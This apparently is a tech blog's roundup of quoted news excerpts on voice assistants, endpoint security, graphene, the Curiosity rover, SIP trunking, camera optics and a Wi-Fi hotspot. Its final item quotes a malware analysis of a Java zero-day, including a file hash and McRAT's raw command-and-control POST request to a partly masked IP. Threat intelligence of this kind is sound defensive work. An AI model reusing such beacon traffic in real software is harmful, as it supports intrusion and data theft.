Human Interaction Under Threat from NINA

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Nina stands for Nuance Interactive Natural Assistant and was launched on the iOS and Android platforms last August, allowing businesses to integrate the sophisticated voice recognition and natural language engine into their apps.

via Human Interaction Under Threat from NINA – the Virtual Assistant – IBTimes UK.

This sounds like an interesting development offshoot from projects like IBM’s Watson (the computer that beat the best humans on Jeopardy).  Then there’s this.

The days of human behind the counter or at the end of a telephone line at coming to an end. As voice recognition and natural language engines become ever more sophisticated, it may soon be hard to distinguish between an automated system and the real thing.

I am not looking forward to this day.  Perhaps this is what HAL tried to warn us about in 2001 A Space Odyssey.  Very prescient indeed.

Sharpening Endpoint Security

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Endpoints are as hard to define as they are to protect. The term traditionally referred to desktops and laptops, but endpoints now encompass smartphones, tablets, point-of-sale machines, bar code scanners, multifunction printers and practically any other device that connects to the company network. Without a well-conceived strategy, keeping track of and securing these devices is difficult and frustrating.

via Sharpening Endpoint Security – Dark Reading.

Some IT shops buy cleverly marketed products that promise off-the-shelf endpoint security using anti-malware and sandboxing. In most cases, attackers can easily bypass those defenses

Graphene’s Unique Properties Could Be Used to Make Better Photovoltaic Devices

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Conventional materials that turn light into electricity, like silicon and gallium arsenide, generate a single electron for each photon absorbed. Since a photon contains more energy than one electron can carry, much of the energy contained in the incoming light is lost as heat. Now, new research reveals that when graphene absorbs a photon it generates multiple electrons capable of driving a current. This means that if graphene devices for converting light to electricity come to fruition, they could be more efficient than the devices commonly used today.

via New Nature Physics Paper Shows That Graphene’s Unique Properties Could Be Used to Make Better Photovoltaic Devices | MIT Technology Review.

Mars Rover Curiosity in Safe Mode After Computer Glitch

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The issue cropped up Wednesday (Feb. 27), when the spacecraft failed to send its recorded data back to Earth and did not switch into its daily sleep mode as planned. After looking into the issue, engineers decided to switch the Curiosity rover from its primary “A-side” computer to its “B-side” backup on Thursday at 5:30 p.m. EST (22:30 GMT). [Curiosity Rover’s Latest Amazing Mars Photos]

via Mars Rover Curiosity in Safe Mode After Computer Glitch | Space.com.

Why do Enterprises Favor Centralized SIP Trunking Topologies?

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Forrester Consulting estimates a 401% ROI for a typical large organization that deploys a centralized SIP trunking topology using Acme Packet E-SBCs. The Total Economic Impact of Acme Packet’s Session Border Controller, which is based on separate and independent research by Forrester, indicates organizations save by eliminating underutilized TDM trunks serving each location as well as lower per-minute rates that apply to VoIP usage. In fact, each of the customers that Forrester interviewed reported a 40%-60% reduction in monthly service fees upon replacing T1/E1 TDM trunk lines with SIP trunks. Obviously, savings is directly proportional to the number of TDM trunks eliminated.

via Why do Enterprises Favor Centralized SIP Trunking Topologies?.

Understanding Camera Optics & Smartphone Camera Trends, A Presentation by Brian Klug

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For readers here I think this is a great primer for what the state of things looks like if you’re not paying super close attention to smartphone cameras, and also the imaging chain at a high level on a mobile device.

Some figures are from of the incredibly useful (never leaves my side in book form or PDF form) Field Guide to Geometrical Optics by John Greivenkamp, a few other are my own or from OmniVision or Wikipedia. I’ve put the slides into a gallery and gone through them pretty much individually, but if you want the PDF version, you can find it here.

via AnandTech – Understanding Camera Optics & Smartphone Camera Trends, A Presentation by Brian Klug.

A Look At YourKarma, A Tiny Wi-Fi Hotspot On A Mission

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The YourKarma device creates a WiFi hotspot that moves around with you, and connects your WiFi connected devices to the Internet. This is just like the tethering option available on your pocket computer; but YourKarma sends data through Clearwire’s cellular network.

via A Look At YourKarma, A Tiny Wi-Fi Hotspot On A Mission | TechCrunch.

Yet Another Java Zero-Day

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The exploit is not very reliable, as it tries to overwrite a big chunk of memory. As a result, in most cases, upon exploitation, we can still see the payload downloading, but it fails to execute and yields a JVM crash. When the McRAT successfully installs in the compromised endpoint as an EXE (MD5: 4d519bf53a8217adc4c15d15f0815993), it generates the following HTTP command and control traffic:

POST /59788582 HTTP/1.0
Content-Length: 44
Accept: text/html,application/xhtml+xml,application/xml,*/*
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 110.XXX.55.187
Pragma: no-cache

via Malware Intelligence Lab from FireEye – Research & Analysis of Zero-Day & Advanced Targeted Threats:YAJ0: Yet Another Java Zero-Day.

It should be possible to detect this using something like snort at the firewall/gateway.